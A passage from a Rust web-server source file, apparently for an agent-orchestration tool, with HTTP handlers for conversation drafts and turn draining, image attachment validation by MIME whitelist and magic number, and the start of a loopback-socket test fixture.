4353                    // turn), so returning it here is equivalent to re-reading it
4354                    // from disk - without the extra round trip a re-read would
4355                    // need.
4356                    Ok((said.trim().to_owned(), talk))
4357                }
4358            })
4359            .await;
4360            let (text, mut talk) = match recorded {
4361                Ok(pair) => pair,
4362                Err(e) => {
4363                    // Nobody is listening if the handler's own future was
4364                    // already dropped - that is fine, there is no response
4365                    // left to carry this error to and nothing was persisted.
4366                    let _ = tx.send(Err(e));
4367                    return;
4368                }
4369            };
4370            let queued = talk.clone();
4371            let thinking = ui.is_thinking(&id);
4372            // If this fails, the caller is gone; the turn still runs below
4373            // exactly as it would have for a caller that stayed connected.
4374            let _ = tx.send(Ok((queued, thinking)));
4375
4376            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4377                // `respond` records the failure in the transcript itself,
4378                // which is what the phone reads; this line is for the
4379                // operator's terminal.
4380                tracing::warn!("talk {id} turn failed: {e:#}");
4381            }
4382            // Anything `talk::queue` added while the turn above was running
4383            // is still owed an answer - see `drain_loop`.
4384            drain_loop(talk, talks, cfg, id, turn_guard).await;
4385        }
4386    });
4387
4388    let (queued, thinking) = rx
4389        .await
4390        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4391
4392    // 202: the operator's message is recorded and a turn is running.
4393    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4394}
4395
4396/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
4397/// changing it. The turn guard is the same per-talk ownership `talk_say`
4398/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
4399async fn talk_pending_resume(
4400    State(ui): State<Arc<Ui>>,
4401    Path(id): Path<String>,
4402) -> ApiResult<(StatusCode, Json<TalkView>)> {
4403    let id = {
4404        let ui = Arc::clone(&ui);
4405        let asked = id.clone();
4406        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4407    };
4408    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4409        return Err(ApiError::conflict(
4410            "a talk turn is already running; the queued draft will be handled by it",
4411        ));
4412    };
4413    let (talk, cfg) = {
4414        let ui = Arc::clone(&ui);
4415        let id = id.clone();
4416        blocking(move || {
4417            let talk = ui.talks.get(&id)?;
4418            if !talk.status.open() {
4419                return Err(ApiError::conflict(format!(
4420                    "talk {} is {} and takes no more turns",
4421                    talk.short(),
4422                    talk.status.as_str()
4423                )));
4424            }
4425            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4426                return Err(ApiError::conflict("there is no queued draft to resume"));
4427            }
4428            let (cfg, _) = Config::discover(&talk.repo, None)?;
4429            Ok((talk, cfg))
4430        })
4431        .await?
4432    };
4433    let view = TalkView::new(talk.clone(), true);
4434    let talks = ui.talks.clone();
4435    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4436    Ok((StatusCode::ACCEPTED, Json(view)))
4437}
4438
4439/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
4440/// releasing `turn` only once a check finds it truly empty. Shared by both
4441/// callers that can end up owning a talk's turn slot with something already
4442/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
4443/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
4444/// holder just gave up - see the comment at that call site.
4445///
4446/// The release is folded into the final generation check under `turn`'s own
4447/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
4448/// free". Before its blocking `talk::drain`, this loop observes the queued
4449/// generation. A `say` that sees the turn busy writes its draft, then advances
4450/// that generation. Thus, if it lands while the drain is in flight, the final
4451/// check observes the advance and drains again; otherwise it releases the
4452/// claim while holding the same lock. This keeps the release/arrival handoff
4453/// atomic without holding the global claim mutex across filesystem I/O.
4454async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4455    let live_set = Arc::clone(&turn.turns);
4456    // `Option` rather than binding `turn` directly to a `_turn` that lives
4457    // for the whole function: releasing it has to happen by calling
4458    // `TalkTurnGuard::release` from inside the locked branch below, which
4459    // takes `self` by value. Left as a plain drop instead, `Drop` would still
4460    // remove the id - correctly, if this loop is ever left some other way -
4461    // but doing it there misses the lock this loop is already holding, which
4462    // is the exact gap `release` exists to close.
4463    let mut turn = Some(turn);
4464    loop {
4465        // `talk::drain` takes the store lock and can write/rename the talk
4466        // file. Keep the turn mutex out of that synchronous work: it protects
4467        // every talk's in-memory claim, not this talk's disk operation.
4468        let observed = live_set
4469            .lock()
4470            .unwrap_or_else(PoisonError::into_inner)
4471            .queued
4472            .get(&id)
4473            .copied()
4474            .unwrap_or(0);
4475        let drained = blocking({
4476            let talks = talks.clone();
4477            move || {
4478                let result = talk::drain(&mut talk, &talks);
4479                Ok((talk, result))
4480            }
4481        })
4482        .await;
4483        let (next_talk, result) = match drained {
4484            Ok(drained) => drained,
4485            Err(e) => {
4486                tracing::warn!(
4487                    status = %e.status,
4488                    message = %e.message,
4489                    "talk {id} could not start queued-text drain"
4490                );
4491                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4492                turn.take()
4493                    .expect("held for the whole loop until released here")
4494                    .release(&mut live);
4495                break;
4496            }
4497        };
4498        talk = next_talk;
4499        let drained = match result {
4500            Ok(Some(drained)) => drained,
4501            Ok(None) => {
4502                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4503                if live.queued.get(&id).copied().unwrap_or(0) != observed {
4504                    continue;
4505                }
4506                turn.take()
4507                    .expect("held for the whole loop until released here")
4508                    .release(&mut live);
4509                break;
4510            }
4511            Err(e) => {
4512                tracing::warn!("talk {id} could not drain queued text: {e:#}");
4513                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4514                turn.take()
4515                    .expect("held for the whole loop until released here")
4516                    .release(&mut live);
4517                break;
4518            }
4519        };
4520        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4521            tracing::warn!("talk {id} turn failed: {e:#}");
4522        }
4523    }
4524}
4525
4526/// Clear a queued draft only if it remains exactly the one the caller saw.
4527async fn talk_pending_clear(
4528    State(ui): State<Arc<Ui>>,
4529    Path(id): Path<String>,
4530    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4531) -> ApiResult<Json<TalkView>> {
4532    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4533    blocking(move || {
4534        let id = resolve_talk(&ui.talks, &id)?;
4535        let mut talk = ui.talks.get(&id)?;
4536        if !talk.status.open() {
4537            return Err(ApiError::conflict(format!(
4538                "talk {} is {} and takes no more turns",
4539                talk.short(),
4540                talk.status.as_str()
4541            )));
4542        }
4543        if !talk::clear_pending_if_matches(
4544            &mut talk,
4545            &ui.talks,
4546            &body.expected_text,
4547            &body.expected_attachments,
4548        )? {
4549            return Err(ApiError::conflict(
4550                "queued message changed; reload it before clearing",
4551            ));
4552        }
4553        let thinking = ui.is_thinking(&talk.id);
4554        Ok(Json(TalkView::new(talk, thinking)))
4555    })
4556    .await
4557}
4558
4559/// Atomically edit a queued draft's text while preserving its attachments.
4560/// The snapshot fields make a concurrent queue or drain a conflict rather
4561/// than silently discarding either message.
4562async fn talk_pending_edit(
4563    State(ui): State<Arc<Ui>>,
4564    Path(id): Path<String>,
4565    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4566) -> ApiResult<Json<TalkView>> {
4567    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4568    let (view, reclaimed) = blocking({
4569        let ui = Arc::clone(&ui);
4570        move || {
4571            let id = resolve_talk(&ui.talks, &id)?;
4572            let mut talk = ui.talks.get(&id)?;
4573            if !talk.status.open() {
4574                return Err(ApiError::conflict(format!(
4575                    "talk {} is {} and takes no more turns",
4576                    talk.short(),
4577                    talk.status.as_str()
4578                )));
4579            }
4580            if !talk::edit_pending_text(
4581                &mut talk,
4582                &ui.talks,
4583                &body.text,
4584                &body.expected_text,
4585                &body.expected_attachments,
4586            )? {
4587                return Err(ApiError::conflict(
4588                    "queued message changed; reload it before editing",
4589                ));
4590            }
4591            let claim = match ui.begin_queued_talk_turn(&id)? {
4592                Some(turn_guard) => {
4593                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4594                    Some((talk.clone(), cfg, id.clone(), turn_guard))
4595                }
4596                None => None,
4597            };
4598            let thinking = ui.is_thinking(&id);
4599            Ok((TalkView::new(talk, thinking), claim))
4600        }
4601    })
4602    .await?;
4603    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4604        let talks = ui.talks.clone();
4605        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4606    }
4607    Ok(Json(view))
4608}
4609
4610/// `POST /api/talks/{id}/close`.
4611async fn talk_close(
4612    State(ui): State<Arc<Ui>>,
4613    Path(id): Path<String>,
4614) -> ApiResult<Json<TalkView>> {
4615    blocking(move || {
4616        let id = resolve_talk(&ui.talks, &id)?;
4617        let mut talk = ui.talks.get(&id)?;
4618        talk::close(&mut talk, &ui.talks)?;
4619        let thinking = ui.is_thinking(&talk.id);
4620        Ok(Json(TalkView::new(talk, thinking)))
4621    })
4622    .await
4623}
4624
4625/// `POST /api/talks/{id}/reopen`.
4626async fn talk_reopen(
4627    State(ui): State<Arc<Ui>>,
4628    Path(id): Path<String>,
4629) -> ApiResult<Json<TalkView>> {
4630    blocking(move || {
4631        let id = resolve_talk(&ui.talks, &id)?;
4632        let mut talk = ui.talks.get(&id)?;
4633        talk::reopen(&mut talk, &ui.talks)?;
4634        let thinking = ui.is_thinking(&talk.id);
4635        Ok(Json(TalkView::new(talk, thinking)))
4636    })
4637    .await
4638}
4639
4640/// `DELETE /api/talks/{id}`.
4641///
4642/// Removes the conversation's record and artifacts outright, unlike
4643/// [`talk_close`] which keeps the record as history. A turn already in
4644/// flight is not refused here the way [`run_delete`] refuses a live run:
4645/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
4646/// under [`Talks::guard`], that the record they are about to write back is
4647/// still there, so a delete racing a turn is safe without this route having
4648/// to know a turn is running at all.
4649async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4650    blocking(move || {
4651        let id = resolve_talk(&ui.talks, &id)?;
4652        ui.talks.remove(&id)?;
4653        Ok(StatusCode::NO_CONTENT)
4654    })
4655    .await
4656}
4657
4658/// Expand an id or short id to exactly one talk id.
4659fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4660    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4661}
4662
4663/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
4664/// future `talk-say`.
4665async fn talk_attachment_post(
4666    State(ui): State<Arc<Ui>>,
4667    Path(id): Path<String>,
4668    headers: HeaderMap,
4669    body: Bytes,
4670) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4671    let mime = validate_attachment(&headers, &body)?;
4672    let name = filename_header(&headers);
4673    let data = body.to_vec();
4674    blocking(move || {
4675        let id = resolve_talk(&ui.talks, &id)?;
4676        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4677        Ok((StatusCode::CREATED, Json(att)))
4678    })
4679    .await
4680}
4681
4682/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
4683/// `<img>` tag in the transcript.
4684async fn talk_attachment_get(
4685    State(ui): State<Arc<Ui>>,
4686    Path((id, att)): Path<(String, String)>,
4687) -> ApiResult<Response> {
4688    blocking(move || {
4689        let id = resolve_talk(&ui.talks, &id)?;
4690        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4691            return Err(ApiError::not_found(format!(
4692                "talk {id} has no attachment `{att}`"
4693            )));
4694        };
4695        Ok(attachment_response(&meta.mime, data))
4696    })
4697    .await
4698}
4699
4700/// Validate an attachment upload's declared `Content-Type` and the bytes
4701/// themselves, returning the canonical mime on success.
4702///
4703/// Two checks, both required: the header has to name one of
4704/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
4705/// simply never in the list, active content rather than a picture, the same
4706/// exclusion [`asset_content_type`]'s doc explains), and the file's own
4707/// magic number has to agree. The second is what stops a mislabeled upload -
4708/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
4709/// a declared type is a claim, not a fact, so it is never trusted alone.
4710fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4711    if data.len() > ATTACHMENT_MAX_BYTES {
4712        return Err(ApiError::bad_request(format!(
4713            "attachment is {} bytes, over the {} MiB limit",
4714            data.len(),
4715            ATTACHMENT_MAX_BYTES / (1024 * 1024)
4716        ))
4717        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4718    }
4719    if data.is_empty() {
4720        return Err(ApiError::bad_request("attachment is empty"));
4721    }
4722    let declared = declared_mime(headers)?;
4723    match sniffed_mime(data) {
4724        Some(sniffed) if sniffed == declared => Ok(declared),
4725        Some(sniffed) => Err(ApiError::bad_request(format!(
4726            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4727        ))),
4728        None => Err(ApiError::bad_request(
4729            "the file's bytes do not match any accepted image format",
4730        )),
4731    }
4732}
4733
4734/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
4735/// and nothing else - parameters like `; charset=` are stripped, but the
4736/// value itself is not otherwise interpreted.
4737fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4738    let raw = headers
4739        .get(header::CONTENT_TYPE)
4740        .and_then(|v| v.to_str().ok())
4741        .unwrap_or("")
4742        .split(';')
4743        .next()
4744        .unwrap_or("")
4745        .trim()
4746        .to_ascii_lowercase();
4747    ATTACHMENT_MIME_WHITELIST
4748        .iter()
4749        .find(|&&m| m == raw)
4750        .copied()
4751        .ok_or_else(|| {
4752            if raw == "image/svg+xml" {
4753                ApiError::bad_request(
4754                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
4755                     not just a picture",
4756                )
4757            } else if raw.is_empty() {
4758                ApiError::bad_request("Content-Type is required for an attachment upload")
4759            } else {
4760                ApiError::bad_request(format!(
4761                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4762                     image/gif or image/webp"
4763                ))
4764            }
4765        })
4766}
4767
4768/// Identify an image by its magic number, independent of whatever
4769/// `Content-Type` claimed.
4770fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4771    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4772        Some("image/png")
4773    } else if data.starts_with(b"\xff\xd8\xff") {
4774        Some("image/jpeg")
4775    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4776        Some("image/gif")
4777    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4778        Some("image/webp")
4779    } else {
4780        None
4781    }
4782}
4783
4784/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
4785/// display - see [`talk::Attachment::name`]'s doc on why it never
4786/// contributes to a path. A missing or blank header (curl without it, an
4787/// older front end) falls back to a generic name rather than refusing the
4788/// upload over a field that is cosmetic.
4789fn filename_header(headers: &HeaderMap) -> String {
4790    headers
4791        .get(FILENAME_HEADER)
4792        .and_then(|v| v.to_str().ok())
4793        .map(str::trim)
4794        .filter(|s| !s.is_empty())
4795        .unwrap_or("attachment")
4796        .to_owned()
4797}
4798
4799/// Every attachment `GET` response: the mime re-validated against the same
4800/// closed whitelist the upload route enforces - never the string trusted
4801/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
4802/// cannot decide it knows better than the type we send. Unlike a panel asset
4803/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
4804/// document renders inline, not agent-authored HTML in a sandboxed frame.
4805fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4806    let content_type = ATTACHMENT_MIME_WHITELIST
4807        .iter()
4808        .find(|&&m| m == mime)
4809        .copied()
4810        .unwrap_or("application/octet-stream");
4811    (
4812        [
4813            (header::CONTENT_TYPE, content_type),
4814            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4815        ],
4816        body,
4817    )
4818        .into_response()
4819}
4820
4821/// The configuration for a repository, read off the disk for this request.
4822///
4823/// Through [`blocking`] because discovery reads and merges several TOML files,
4824/// and because the alternative - caching it in [`Ui`] at startup - would mean
4825/// the operator's phone kept interviewing with a roster they had already
4826/// changed, with no way to reload it but restarting the server they are not
4827/// sitting in front of.
4828async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4829    let repo = repo.to_path_buf();
4830    blocking(move || {
4831        let (cfg, _) = Config::discover(&repo, None)?;
4832        Ok(cfg)
4833    })
4834    .await
4835}
4836
4837/// The one prefix rule, used for both runs and tasks: a leading match for a
4838/// full id, a trailing match for the short form an operator reads off a
4839/// report. Written here rather than borrowed from `queue::resolve_id` because
4840/// the UI needs the two failures as different status codes, and telling them
4841/// apart from an error message is not something to build a route on.
4842fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4843    let mut hits = ids
4844        .into_iter()
4845        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4846    match (hits.next(), hits.next()) {
4847        (Some(one), None) => Ok(one),
4848        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4849        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4850            "`{prefix}` matches more than one {what}, including {a} and {b}"
4851        ))),
4852    }
4853}
4854
4855#[cfg(test)]
4856mod tests {
4857    use pretty_assertions::assert_eq;
4858    use serde_json::Value;
4859    use tempfile::TempDir;
4860    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4861
4862    use super::*;
4863    use crate::config::Config;
4864    use crate::queue::{Source, TaskStatus};
4865
4866    /// How many 10ms steps a settle loop takes before it calls a stall a
4867    /// stall - thirty seconds.
4868    ///
4869    /// These loops wait on real `sh` subprocesses, and the machine that runs
4870    /// the gate runs several suites at once, so a two-second budget was not
4871    /// waiting for the reply, it was racing the scheduler: two of these
4872    /// tests failed under that load with the turn simply not landed yet.
4873    /// This is a hang guard, not a latency assertion - every loop breaks the
4874    /// moment its condition holds, so a generous cap costs an idle machine
4875    /// nothing and still fails a genuine hang instead of hanging the suite.
4876    const SETTLE_STEPS: usize = 3_000;
4877
4878    /// A home with a queue and a runs directory, and a router serving it on
4879    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
4880    /// dependency, not ours - so the tests drive a real socket, which has the
4881    /// side benefit of asserting the status line and content types the phone
4882    /// actually receives.
4883    struct Fixture {
4884        home: TempDir,
4885        addr: SocketAddr,
4886    }
4887
4888    impl Fixture {
4889        async fn start() -> Self {
4890            Self::with_loop(launch_idle).await
4891        }
4892
4893        /// A fixture whose loop is `launch`.
4894        async fn with_loop(launch: Launch) -> Self {
4895            let home = TempDir::new().expect("temp home");
4896            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4897            Self { home, addr }
4898        }
4899
4900        /// A fixture whose `ui.repo` is a real directory rather than the
4901        /// usual placeholder - for the routes that read config off it
4902        /// (`GET /api/repos`) and would otherwise have nothing to discover.
4903        async fn with_repo(repo: PathBuf) -> Self {
4904            let home = TempDir::new().expect("temp home");
4905            let addr = Self::serve(home.path(), repo, launch_idle).await;
4906            Self { home, addr }
4907        }
4908
4909        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4910            let queue = Queue::at(home.join("queue"));
4911            let runs = home.join("runs");
4912            std::fs::create_dir_all(&runs).expect("runs dir");
4913            let worktrees = home.join("wt").join("magi");
4914            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4915            let ui = Ui::new(
4916                queue,
4917                Questions::at(home.join("questions")),
4918                Talks::at(home.join("talks")),
4919                runs,
4920                home.to_path_buf(),
4921                repo,
4922            )
4923            .with_worktrees_root(worktrees)
4924            .with_launch(launch);
4925            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4926                .await
4927                .expect("bind loopback");
4928            let addr = listener.local_addr().expect("local addr");
4929            tokio::spawn(async move {
4930                let _ = axum::serve(listener, ui.router()).await;
4931            });
4932            addr
4933        }
4934
4935        fn queue(&self) -> Queue {
4936            Queue::at(self.home.path().join("queue"))
4937        }
4938
4939        fn questions(&self) -> Questions {
4940            Questions::at(self.home.path().join("questions"))
4941        }
4942
4943        fn talks(&self) -> Talks {
4944            Talks::at(self.home.path().join("talks"))
4945        }
4946
4947        fn runs(&self) -> PathBuf {
4948            self.home.path().join("runs")
4949        }
4950
4951        async fn get(&self, path: &str) -> Res {
4952            request(self.addr, "GET", path, None).await
4953        }
4954
4955        /// The status and headers without the body, which is how the front end
4956        /// preflights a panel: a sandboxed frame is opaque to the parent
4957        /// document, so the only way to tell "no panel" from "a panel that
4958        /// rendered blank" is to ask before mounting.
4959        async fn head(&self, path: &str) -> Res {
4960            request(self.addr, "HEAD", path, None).await
4961        }
4962
4963        async fn post(&self, path: &str, body: Option<&str>) -> Res {
4964            request(self.addr, "POST", path, body).await
4965        }
4966
4967        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4968            request_with(self.addr, "GET", path, None, extra).await
4969        }
4970
4971        async fn delete(&self, path: &str) -> Res {
4972            request(self.addr, "DELETE", path, None).await
4973        }
4974
4975        /// `POST` a raw body with its own headers - see [`request_bytes`].
4976        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4977            request_bytes(self.addr, path, headers, body).await
4978        }
4979    }
4980
4981    struct Res {
4982        status: u16,
4983        headers: String,
4984        /// The header block with its original casing, for the assertions that
4985        /// compare a header *value* rather than looking for a name. Lowercasing
4986        /// a CSP would hide a directive spelled with a capital letter, and the
4987        /// whole point of that test is that the string is exactly right.
4988        head: String,
4989        body: String,
4990        /// The body before any UTF-8 handling, for the routes that serve
4991        /// something other than text. A panel asset is a PNG as often as not,
4992        /// and `from_utf8_lossy` would silently replace half of it.
4993        bytes: Vec<u8>,
4994    }
4995
4996    impl Res {
4997        fn json(&self) -> Value {
4998            serde_json::from_str(&self.body)
4999                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5000        }
5001
5002        /// One header's value verbatim, or `None` when it was not sent.
5003        fn header(&self, name: &str) -> Option<&str> {
5004            self.head.lines().find_map(|line| {
5005                let (key, value) = line.split_once(':')?;
5006                key.trim()
5007                    .eq_ignore_ascii_case(name)
5008                    .then(|| value.trim_start().trim_end_matches('\r'))
5009            })
5010        }
5011    }
5012
5013    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
5014    /// be read to end-of-stream without parsing framing.
5015    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5016        request_with(addr, method, path, body, &[]).await
5017    }
5018
5019    /// As [`request`], with extra request headers - conditional GETs need
5020    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
5021    /// worse than one that sets none.
5022    async fn request_with(
5023        addr: SocketAddr,
5024        method: &str,
5025        path: &str,
5026        body: Option<&str>,
5027        extra: &[(&str, &str)],
5028    ) -> Res {
5029        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5030        for (name, value) in extra {
5031            head.push_str(&format!("{name}: {value}\r\n"));
5032        }
5033        if let Some(body) = body {
5034            head.push_str("Content-Type: application/json\r\n");
5035            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5036        }
5037        head.push_str("\r\n");
5038        if let Some(body) = body {
5039            head.push_str(body);
5040        }
5041        let mut socket = tokio::net::TcpStream::connect(addr)
5042            .await
5043            .expect("connect to the test server");
5044        socket
5045            .write_all(head.as_bytes())
5046            .await
5047            .expect("write request");
5048        let mut raw = Vec::new();
5049        socket.read_to_end(&mut raw).await.expect("read response");
5050        // Split on the raw bytes rather than on a lossy string, so a binary
5051        // body survives to be compared byte for byte.
5052        let split = raw
5053            .windows(4)
5054            .position(|w| w == b"\r\n\r\n")
5055            .expect("a header block");
5056        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5057        let bytes = raw[split + 4..].to_vec();
5058        let status = head
5059            .lines()
5060            .next()
5061            .and_then(|line| line.split_whitespace().nth(1))
5062            .and_then(|code| code.parse().ok())
5063            .expect("a status line");
5064        Res {
5065            status,
5066            headers: head.to_lowercase(),
5067            head,
5068            body: String::from_utf8_lossy(&bytes).into_owned(),
5069            bytes,
5070        }
5071    }
5072
5073    /// A `POST` carrying a raw binary body and its own headers, for the
5074    /// attachment upload route - `request_with` only ever sends
5075    /// `Content-Type: application/json`, which is wrong for an image and
5076    /// would corrupt anything not valid UTF-8 by round-tripping it through
5077    /// `&str` first.
5078    async fn request_bytes(
5079        addr: SocketAddr,
5080        path: &str,
5081        headers: &[(&str, &str)],
5082        body: &[u8],
5083    ) -> Res {
5084        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5085        for (name, value) in headers {
5086            head.push_str(&format!("{name}: {value}\r\n"));
5087        }
5088        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5089        let mut socket = tokio::net::TcpStream::connect(addr)
5090            .await
5091            .expect("connect to the test server");
5092        socket
5093            .write_all(head.as_bytes())
5094            .await
5095            .expect("write request head");
5096        socket.write_all(body).await.expect("write request body");
5097        let mut raw = Vec::new();
5098        socket.read_to_end(&mut raw).await.expect("read response");
5099        let split = raw
5100            .windows(4)
5101            .position(|w| w == b"\r\n\r\n")
5102            .expect("a header block");
5103        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5104        let bytes = raw[split + 4..].to_vec();
5105        let status = head
5106            .lines()
5107            .next()
5108            .and_then(|line| line.split_whitespace().nth(1))
5109            .and_then(|code| code.parse().ok())
5110            .expect("a status line");
5111        Res {
5112            status,
5113            headers: head.to_lowercase(),
5114            head,
5115            body: String::from_utf8_lossy(&bytes).into_owned(),
5116            bytes,
5117        }
5118    }
5119
5120    /// A run on disk, without touching the process-global magi home.
5121    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5122        let mut state = RunState::new(
5123            PathBuf::from("/repo/magi"),
5124            "main".to_owned(),
5125            "0123456789abcdef".to_owned(),
5126            "Add a web UI\n\nMobile first.".to_owned(),
5127            Config::default(),
5128        );
5129        state.id = id.to_owned();
5130        state.status = status;
5131        let dir = runs.join(id);
5132        std::fs::create_dir_all(&dir).expect("run dir");
5133        std::fs::write(
5134            dir.join("run.json"),
5135            serde_json::to_string_pretty(&state).expect("serialize run"),
5136        )
5137        .expect("write run.json");
5138    }
5139
5140    /// Same as [`write_run`], but against a named repository rather than the
5141    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
5142    /// spread across more than one.
5143    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5144        let mut state = RunState::new(
5145            PathBuf::from(repo),
5146            "main".to_owned(),
5147            "0123456789abcdef".to_owned(),
5148            "task".to_owned(),
5149            Config::default(),
5150        );
5151        state.id = id.to_owned();
5152        state.status = status;
5153        let dir = runs.join(id);
5154        std::fs::create_dir_all(&dir).expect("run dir");
5155        std::fs::write(
5156            dir.join("run.json"),
5157            serde_json::to_string_pretty(&state).expect("serialize run"),
5158        )
5159        .expect("write run.json");
5160    }
5161
5162    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5163        let body = serde_json::json!({
5164            "schema": 1,
5165            "pid": 4242,
5166            "started_at": Timestamp::now().to_string(),
5167            "updated_at": updated_at.to_string(),
5168            "idle": false,
5169            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5170            "completed": 7,
5171            "polls": 143,
5172        });
5173        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5174    }
5175
5176    /// A loop that starts, finds nothing to do, and waits to be told to stop.
5177    ///
5178    /// No test in this file may start the real loop - see [`Ui::launch`] for
5179    /// why - so this stands in for the only thing the routes need a loop to
5180    /// do: keep running until `Stop` is set, then return. A real
5181    /// `serve_until` here would resolve its queue and its status file through
5182    /// the process-global magi home, claim whatever it found in the
5183    /// operator's live backlog, overwrite the status file of the `magi serve`
5184    /// that owns it, and spend real agent quota on a real competition.
5185    fn launch_idle(
5186        _opts: daemon::Opts,
5187        stop: daemon::Stop,
5188    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5189        Box::pin(async move {
5190            while !stop.stopped() {
5191                tokio::time::sleep(Duration::from_millis(2)).await;
5192            }
5193            Ok(())
5194        })
5195    }
5196
5197    /// A loop that fails on the way up, the way one whose home has gone
5198    /// read-only does.
5199    fn launch_broken(
5200        _opts: daemon::Opts,
5201        _stop: daemon::Stop,
5202    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5203        Box::pin(async {
5204            Err(anyhow::anyhow!(
5205                "publish the daemon status file: read-only file system"
5206            ))
5207        })
5208    }
5209
5210    /// The address the parking loop knocks on, and what it heard there.
5211    ///
5212    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
5213    /// capture a fixture's address; this is how it is handed one. Only
5214    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
5215    /// these, so nothing else in this binary can race them.
5216    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5217    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5218
5219    /// A loop that, once it is asked to stop, checks the deck still answers
5220    /// before it goes.
5221    ///
5222    /// It stands in for a run mid-node: `finish_loop` waits for this future,
5223    /// so the request it makes is strictly inside the park window - no sleep
5224    /// and no polling needed to be sure of that.
5225    fn launch_knocking_on_the_way_out(
5226        _opts: daemon::Opts,
5227        stop: daemon::Stop,
5228    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5229        Box::pin(async move {
5230            while !stop.stopped() {
5231                tokio::time::sleep(Duration::from_millis(2)).await;
5232            }
5233            let addr = PARK_KNOCK
5234                .lock()
